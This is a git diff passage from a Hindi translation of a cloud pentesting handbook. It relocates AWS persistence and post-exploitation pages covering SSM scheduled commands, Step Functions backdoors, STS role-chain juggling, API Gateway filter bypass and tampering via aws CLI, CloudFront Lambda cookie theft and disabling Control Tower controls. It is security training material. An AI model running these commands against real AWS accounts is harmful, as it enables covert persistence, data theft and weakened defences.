Key=InstanceIds,Values=target-instance-id \ +--parameters commands=["malicious-command"] \ +--schedule-expression "rate(30 minutes)" \ +--association-name association-name +``` +> [!NOTE] +> यह persistence method तब तक काम करती है जब तक EC2 instance Systems Manager द्वारा managed है, SSM agent चल रहा है, और attacker के पास associations बनाने की permission है। इसे interactive sessions या explicit ssm:SendCommand permissions की आवश्यकता नहीं है। **Important:** `--schedule-expression` parameter (e.g., `rate(30 minutes)`) को AWS के न्यूनतम अंतराल 30 minutes का पालन करना होगा। तुरंत या एक-बार के execution के लिए, `--schedule-expression` को पूरी तरह से हटा दें — association बनते ही यह एक बार execute होगा। + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md deleted file mode 100644 index 296e431c7..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - Step Functions Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Step Functions - -अधिक जानकारी के लिए देखें: - -{{#ref}} -../aws-services/aws-stepfunctions-enum.md -{{#endref}} - -### Step function Backdooring - -एक स्टेप फंक्शन में बैकडोर करें ताकि यह किसी भी पर्सिस्टेंस ट्रिक को निष्पादित कर सके, ताकि हर बार जब इसे चलाया जाए, यह आपके दुर्भावनापूर्ण स्टेप्स को चलाए। - -### Backdooring aliases - -यदि AWS खाता स्टेप फंक्शंस को कॉल करने के लिए उपनाम का उपयोग कर रहा है, तो एक उपनाम को संशोधित करना संभव होगा ताकि स्टेप फंक्शन के नए बैकडोर्ड संस्करण का उपयोग किया जा सके। - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md new file mode 100644 index 000000000..97cb073d4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md @@ -0,0 +1,21 @@ +# AWS - Step Functions Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Step Functions + +अधिक जानकारी के लिए देखें: + +{{#ref}} +../../aws-services/aws-stepfunctions-enum.md +{{#endref}} + +### Step function Backdooring + +एक step function को Backdoor करें ताकि यह किसी भी persistence trick को अंजाम दे सके — इसलिए हर बार जब यह execute होगा यह आपके malicious steps चलाएगा। + +### Backdooring aliases + +यदि AWS account aliases का उपयोग करके step functions को call कर रहा है, तो किसी alias को modify करके step function के एक नए backdoored version का उपयोग कराना संभव होगा। + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md similarity index 62% rename from src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md rename to src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md index 417d33f52..c9deeba9a 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md @@ -1,18 +1,18 @@ # AWS - STS Persistence -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## STS -अधिक जानकारी के लिए पहुँचें: +अधिक जानकारी के लिए देखें: {{#ref}} -../aws-services/aws-sts-enum.md +../../aws-services/aws-sts-enum.md {{#endref}} ### Assume role token -अस्थायी टोकन को सूचीबद्ध नहीं किया जा सकता है, इसलिए एक सक्रिय अस्थायी टोकन बनाए रखना स्थायीता बनाए रखने का एक तरीका है। +Temporary tokens सूचीबद्ध नहीं किए जा सकते, इसलिए एक active temporary token बनाए रखना persistence बनाए रखने का एक तरीका है। 
aws sts get-session-token --duration-seconds 129600
 
@@ -28,9 +28,9 @@ aws sts get-session-token \
 
 ### Role Chain Juggling
 
-[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), अक्सर स्थायीता बनाए रखने के लिए उपयोग किया जाता है। इसमें **एक भूमिका को मान लेना शामिल है जो फिर दूसरी भूमिका को मान लेती है**, संभावित रूप से **चक्रीय तरीके** से प्रारंभिक भूमिका पर लौटते हुए। प्रत्येक बार जब एक भूमिका को मान लिया जाता है, तो क्रेडेंशियल्स की समाप्ति फ़ील्ड को ताज़ा किया जाता है। परिणामस्वरूप, यदि दो भूमिकाएँ एक-दूसरे को आपस में मानने के लिए कॉन्फ़िगर की गई हैं, तो यह सेटअप क्रेडेंशियल्स के निरंतर नवीनीकरण की अनुमति देता है।
+[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), यह अक्सर stealth persistence बनाए रखने के लिए उपयोग किया जाता है। इसमें वह क्षमता शामिल है कि **assume a role which then assumes another**, जो संभावित रूप से प्रारंभिक role में **cyclical manner** में वापस लौट सकती है। प्रत्येक बार जब कोई role assume किया जाता है, credentials के expiration field को refresh किया जाता है। परिणामस्वरूप, यदि दो roles को एक-दूसरे को आपस में assume करने के लिए configure किया गया है, तो यह सेटअप credentials के perpetual renewal की अनुमति देता है।
 
-आप इस [**tool**](https://github.com/hotnops/AWSRoleJuggler/) का उपयोग करके भूमिका श्रृंखला को बनाए रख सकते हैं:
+You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going:
 ```bash
 ./aws_role_juggler.py -h
 usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
@@ -40,11 +40,11 @@ optional arguments:
 -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
 ```
 > [!CAUTION]
-> ध्यान दें कि [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) स्क्रिप्ट उस Github रिपॉजिटरी से सभी तरीकों को नहीं ढूंढती है जिनसे एक भूमिका श्रृंखला को कॉन्फ़िगर किया जा सकता है।
+> ध्यान दें कि [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) स्क्रिप्ट उस Github रिपॉज़िटरी से रोल चेन को कॉन्फ़िगर करने के सभी तरीकों को नहीं ढूँढती है।
 
 

 
-PowerShell से भूमिका जुगलिंग करने के लिए कोड
+PowerShell से Role Juggling करने के लिए कोड
 ```bash
 # PowerShell script to check for role juggling possibilities using AWS CLI
 
@@ -124,4 +124,4 @@ Write-Host "Role juggling check complete."
 ```
 

 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
deleted file mode 100644
index 22aff6750..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ /dev/null
@@ -1,132 +0,0 @@
-# AWS - API Gateway Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## API Gateway
-
-अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-api-gateway-enum.md
-{{#endref}}
-
-### एक्सपोज़ न किए गए APIs तक पहुँचें
-
-आप [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) में `com.amazonaws.us-east-1.execute-api` सेवा के साथ एक एंडपॉइंट बना सकते हैं, उस नेटवर्क में एंडपॉइंट को एक्सपोज़ करें जहाँ आपके पास पहुँच है (संभवतः एक EC2 मशीन के माध्यम से) और सभी कनेक्शनों की अनुमति देने वाले सुरक्षा समूह को असाइन करें।\
-फिर, EC2 मशीन से आप एंडपॉइंट तक पहुँच सकते हैं और इसलिए उस गेटवे API को कॉल कर सकते हैं जो पहले एक्सपोज़ नहीं किया गया था।
-
-### अनुरोध शरीर पासथ्रू को बायपास करें
-
-यह तकनीक [**इस CTF लेख**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp) में पाई गई थी।
-
-जैसा कि [**AWS दस्तावेज़**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) में `PassthroughBehavior` अनुभाग में संकेतित किया गया है, डिफ़ॉल्ट रूप से, मान **`WHEN_NO_MATCH`** , जब अनुरोध के **Content-Type** हेडर की जांच की जाती है, तो अनुरोध को बिना किसी परिवर्तन के बैक एंड पर पास करेगा।
-
-इसलिए, CTF में API गेटवे में एक एकीकरण टेम्पलेट था जो **फ्लैग को प्रतिक्रिया में एक्सफिल्ट्रेट होने से रोक रहा था** जब अनुरोध `Content-Type: application/json` के साथ भेजा गया था:
-```yaml
-RequestTemplates:
-application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
-```
-हालांकि, **`Content-type: text/json`** के साथ एक अनुरोध भेजने से उस फ़िल्टर को रोका जा सकेगा।
-
-अंत में, चूंकि API Gateway केवल `Get` और `Options` की अनुमति दे रहा था, इसलिए एक मनमाना dynamoDB क्वेरी भेजना संभव था बिना किसी सीमा के, जिसमें क्वेरी को बॉडी में भेजकर और हेडर `X-HTTP-Method-Override: GET` का उपयोग किया गया:
-```bash
-curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
-```
-### Usage Plans DoS
-
-In the **Enumeration** section you can see how to **obtain the usage plan** of the keys. If you have the key and it's **limited** to X usages **per month**, you could **just use it and cause a DoS**.
-
-The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**.
-
-### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
-
-An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
-```bash
-API_ID="your-api-id"
-RESPONSE_TYPE="DEFAULT_4XX"
-
-# Update the Gateway Response
-aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**संभावित प्रभाव**: संवेदनशील जानकारी का लीक होना, दुर्भावनापूर्ण स्क्रिप्ट का निष्पादन, या API संसाधनों तक अनधिकृत पहुंच।
-
-> [!NOTE]
-> परीक्षण की आवश्यकता है
-
-### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
-
-एक हमलावर जिसके पास `apigateway:UpdateStage` और `apigateway:CreateDeployment` की अनुमति है, वह **एक मौजूदा API गेटवे स्टेज को ट्रैफ़िक को एक अलग स्टेज पर पुनर्निर्देशित करने या कैशिंग सेटिंग्स को बदलने के लिए संशोधित कर सकता है ताकि कैश किए गए डेटा तक अनधिकृत पहुंच प्राप्त की जा सके**।
-```bash
-API_ID="your-api-id"
-STAGE_NAME="Prod"
-
-# Update the API Gateway stage
-aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**संभावित प्रभाव**: कैश किए गए डेटा तक अनधिकृत पहुंच, API ट्रैफ़िक को बाधित या इंटरसेप्ट करना।
-
-> [!NOTE]
-> परीक्षण की आवश्यकता है
-
-### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
-
-एक हमलावर जिसके पास `apigateway:PutMethodResponse` और `apigateway:CreateDeployment` की अनुमति है, **एक मौजूदा API गेटवे REST API विधि के विधि प्रतिक्रिया को संशोधित कर सकता है ताकि कस्टम हेडर या प्रतिक्रिया टेम्पलेट शामिल किए जा सकें जो संवेदनशील जानकारी लीक करते हैं या दुर्भावनापूर्ण स्क्रिप्ट निष्पादित करते हैं**।
-```bash
-API_ID="your-api-id"
-RESOURCE_ID="your-resource-id"
-HTTP_METHOD="GET"
-STATUS_CODE="200"
-
-# Update the method response
-aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**संभावित प्रभाव**: संवेदनशील जानकारी का लीक होना, दुर्भावनापूर्ण स्क्रिप्ट का निष्पादन, या API संसाधनों तक अनधिकृत पहुंच।
-
-> [!NOTE]
-> परीक्षण की आवश्यकता है
-
-### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
-
-एक हमलावर जिसके पास `apigateway:UpdateRestApi` और `apigateway:CreateDeployment` की अनुमति है, **API गेटवे REST API सेटिंग्स को लॉगिंग को अक्षम करने या न्यूनतम TLS संस्करण को बदलने के लिए संशोधित कर सकता है, जिससे API की सुरक्षा कमजोर हो सकती है**।
-```bash
-API_ID="your-api-id"
-
-# Update the REST API settings
-aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
-
-# Create a deployment for the updated API Gateway REST API
-aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
-```
-**संभावित प्रभाव**: API की सुरक्षा को कमजोर करना, संभावित रूप से अनधिकृत पहुंच की अनुमति देना या संवेदनशील जानकारी को उजागर करना।
-
-> [!NOTE]
-> परीक्षण की आवश्यकता है
-
-### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
-
-एक हमलावर जिसके पास अनुमतियाँ `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, और `apigateway:CreateUsagePlanKey` हैं, **नए API कुंजी बना सकता है, उन्हें उपयोग योजनाओं के साथ जोड़ सकता है, और फिर इन कुंजियों का उपयोग API तक अनधिकृत पहुंच के लिए कर सकता है**।
-```bash
-# Create a new API key
-API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
-
-# Create a new usage plan
-USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
-
-# Associate the API key with the usage plan
-aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
-```
-**संभावित प्रभाव**: API संसाधनों तक अनधिकृत पहुंच, सुरक्षा नियंत्रणों को बायपास करना।
-
-> [!NOTE]
-> परीक्षण की आवश्यकता है
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md
new file mode 100644
index 000000000..3f690f717
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md
@@ -0,0 +1,132 @@
+# AWS - API Gateway Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## API Gateway
+
+अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-api-gateway-enum.md
+{{#endref}}
+
+### अप्रदर्शित APIs तक पहुँच
+
+You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\
+फिर, EC2 मशीन से आप उस endpoint तक पहुँच पाएँगे और इसलिए उस gateway API को कॉल कर सकेंगे जो पहले exposed नहीं था।
+
+### Bypass Request body passthrough
+
+This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
+
+जैसा कि [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) में `PassthroughBehavior` सेक्शन में बताया गया है, डिफ़ॉल्ट रूप से वैल्यू **`WHEN_NO_MATCH`**, request के **Content-Type** हेडर की जाँच करते समय, request को बिना किसी transformation के backend को पास कर देता है।
+
+इसलिए, CTF में API Gateway के पास एक integration template था जो response में **flag के exfiltrated होने** को रोक रहा था जब एक request `Content-Type: application/json` के साथ भेजी गई थी:
+```yaml
+RequestTemplates:
+application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
+```
+हालाँकि, **`Content-type: text/json`** के साथ एक अनुरोध भेजने से उस फ़िल्टर को निष्क्रिय कर दिया जा सकता था।
+
+अंत में, चूँकि API Gateway केवल `Get` और `Options` की अनुमति दे रहा था, यह संभव था कि कोई भी मनमाना dynamoDB क्वेरी बिना किसी सीमा के भेजी जा सके अगर क्वेरी को बॉडी में रखकर POST request भेजा जाए और हेडर `X-HTTP-Method-Override: GET` का उपयोग किया जाए:
+```bash
+curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
+```
+### Usage Plans DoS
+
+In the **Enumeration** section you can see how to **usage plan प्राप्त करें** of the keys. If you have the key and it's **सीमित** to X usages **प्रति माह**, you could **बस इसे इस्तेमाल करके DoS पैदा कर सकते हैं**.
+
+The **API Key** just need to be **शामिल** inside a **HTTP header** called **`x-api-key`**.
+
+### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
+
+An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **एक मौजूदा Gateway Response को modify करके custom headers या response templates शामिल कर सकता है जो sensitive information को leak करें या malicious scripts को execute करें**.
+```bash
+API_ID="your-api-id"
+RESPONSE_TYPE="DEFAULT_4XX"
+
+# Update the Gateway Response
+aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**संभावित प्रभाव**: Leakage of संवेदनशील जानकारी, दुर्भावनापूर्ण स्क्रिप्ट्स का निष्पादन, या API resources तक अनधिकृत पहुँच।
+
+> [!NOTE]
+> परीक्षण आवश्यक
+
+### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
+
+एक हमलावर जिसके पास `apigateway:UpdateStage` और `apigateway:CreateDeployment` अनुमतियाँ हों, **मौजूदा API Gateway स्टेज को बदलकर ट्रैफ़िक को किसी अन्य स्टेज पर रीडायरेक्ट करने या कैशिंग सेटिंग्स बदलकर कैश किए गए डेटा तक अनधिकृत पहुँच प्राप्त करने** में सक्षम हो सकता है।
+```bash
+API_ID="your-api-id"
+STAGE_NAME="Prod"
+
+# Update the API Gateway stage
+aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**Potential Impact**: कैश्ड डेटा तक अनधिकृत पहुँच, API ट्रैफ़िक में बाधा डालना या उसे इंटरसेप्ट करना।
+
+> [!NOTE]
+> परीक्षण आवश्यक
+
+### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
+
+एक हमलावर जिसके पास `apigateway:PutMethodResponse` और `apigateway:CreateDeployment` अनुमतियाँ हैं, वह **मौजूदा API Gateway REST API method के method response को संशोधित कर सकता है ताकि इसमें कस्टम हेडर या response templates शामिल किए जाएँ जो संवेदनशील जानकारी को leak कर दें या दुर्भावनापूर्ण स्क्रिप्ट चला सकें।**
+```bash
+API_ID="your-api-id"
+RESOURCE_ID="your-resource-id"
+HTTP_METHOD="GET"
+STATUS_CODE="200"
+
+# Update the method response
+aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**Potential Impact**: संवेदनशील जानकारी का leak, दुर्भावनापूर्ण स्क्रिप्ट्स का निष्पादन, या API resources तक unauthorized access।
+
+> [!NOTE]
+> परीक्षण आवश्यक
+
+### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
+
+`apigateway:UpdateRestApi` और `apigateway:CreateDeployment` permissions वाले attacker API Gateway REST API सेटिंग्स को संशोधित करके logging को disable कर सकता है या minimum TLS version बदल सकता है, जिससे API की सुरक्षा कमजोर हो सकती है।
+```bash
+API_ID="your-api-id"
+
+# Update the REST API settings
+aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
+
+# Create a deployment for the updated API Gateway REST API
+aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
+```
+**संभावित प्रभाव**: API की सुरक्षा को कमजोर करना, संभावित रूप से अनधिकृत पहुँच की अनुमति देना या संवेदनशील जानकारी उजागर करना।
+
+> [!NOTE]
+> परीक्षण की आवश्यकता
+
+### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
+
+जिनके पास `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, और `apigateway:CreateUsagePlanKey` अनुमतियाँ हैं, वह attacker **नए API keys बना सकता है, उन्हें usage plans से जोड़ सकता है, और फिर इन keys का उपयोग अनधिकृत रूप से APIs तक पहुँच के लिए कर सकता है**।
+```bash
+# Create a new API key
+API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
+
+# Create a new usage plan
+USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
+
+# Associate the API key with the usage plan
+aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
+```
+**Potential Impact**: अनधिकृत पहुँच API संसाधनों तक, सुरक्षा नियंत्रणों को दरकिनार करना।
+
+> [!NOTE]
+> परीक्षण आवश्यक
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
deleted file mode 100644
index 121c32994..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ /dev/null
@@ -1,31 +0,0 @@
-# AWS - CloudFront Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CloudFront
-
-अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-cloudfront-enum.md
-{{#endref}}
-
-### Man-in-the-Middle
-
-यह [**ब्लॉग पोस्ट**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) कुछ विभिन्न परिदृश्यों का प्रस्ताव करता है जहाँ एक **Lambda** को **CloudFront** के माध्यम से **संचार** में जोड़ा (या संशोधित) किया जा सकता है, जिसका उद्देश्य उपयोगकर्ता की जानकारी (जैसे सत्र का **कुकी**) को **चुराना** और **प्रतिक्रिया** को **संशोधित** करना (एक दुर्भावनापूर्ण JS स्क्रिप्ट को इंजेक्ट करना) है।
-
-#### परिदृश्य 1: MitM जहाँ CloudFront को एक बकेट के कुछ HTML तक पहुँचने के लिए कॉन्फ़िगर किया गया है
-
-- **दुर्भावनापूर्ण** **कार्य** बनाएं।
-- इसे CloudFront वितरण के साथ **संलग्न** करें।
-- **इवेंट प्रकार को "Viewer Response"** पर सेट करें।
-
-प्रतिक्रिया को एक्सेस करके आप उपयोगकर्ताओं का कुकी चुरा सकते हैं और एक दुर्भावनापूर्ण JS इंजेक्ट कर सकते हैं।
-
-#### परिदृश्य 2: MitM जहाँ CloudFront पहले से ही एक lambda फ़ंक्शन का उपयोग कर रहा है
-
-- संवेदनशील जानकारी चुराने के लिए lambda फ़ंक्शन का **कोड संशोधित** करें।
-
-आप [**इन परिदृश्यों को फिर से बनाने के लिए tf कोड यहाँ देख सकते हैं**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md
new file mode 100644
index 000000000..aa158f3a1
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md
@@ -0,0 +1,31 @@
+# AWS - CloudFront Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CloudFront
+
+अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-cloudfront-enum.md
+{{#endref}}
+
+### Man-in-the-Middle
+
+This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) कुछ अलग परिदृश्यों का प्रस्ताव करती है जहाँ एक **Lambda** को **communication through CloudFront** में जोड़ा जा सकता है (या यदि पहले से उपयोग हो रहा है तो मॉडिफाई किया जा सकता है) ताकि उपयोगकर्ता की जानकारी (जैसे session **cookie**) **चुराई** जा सके और **response** को **modify** करके एक malicious **JS** स्क्रिप्ट inject की जा सके।
+
+#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
+
+- **Create** the malicious **function**.
+- **Associate** it with the CloudFront distribution.
+- Set the **event type to "Viewer Response"**.
+
+Response तक पहुँचकर आप उपयोगकर्ता का cookie चुरा सकते हैं और एक malicious JS inject कर सकते हैं।
+
+#### scenario 2: MitM where CloudFront is already using a lambda function
+
+- **Modify the code** of the lambda function to steal sensitive information
+
+You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
deleted file mode 100644
index 76b2ec88b..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md
+++ /dev/null
@@ -1,18 +0,0 @@
-# AWS - Control Tower Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Control Tower
-
-{{#ref}}
-../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
-{{#endref}}
-
-### नियंत्रण सक्षम करें / अक्षम करें
-
-एक खाते का और अधिक शोषण करने के लिए, आपको Control Tower नियंत्रणों को अक्षम/सक्षम करने की आवश्यकता हो सकती है:
-```bash
-aws controltower disable-control --control-identifier  --target-identifier 
-aws controltower enable-control --control-identifier  --target-identifier 
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md
new file mode 100644
index 000000000..b0ed82f08
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md
@@ -0,0 +1,18 @@
+# AWS - Control Tower Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Control Tower
+
+{{#ref}}
+../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
+{{#endref}}
+
+### Controls को सक्षम/अक्षम करना
+
+किसी अकाउंट पर आगे exploit करने के लिए, आपको Control Tower controls को अक्षम/सक्षम करने की आवश्यकता हो सकती है:
+```bash
+aws controltower disable-control --control-identifier  --target-identifier 
+aws controltower enable-control --control-identifier  --target-identifier 
+```
+{{#include ../../../../banners/hacktricks-training.md}}
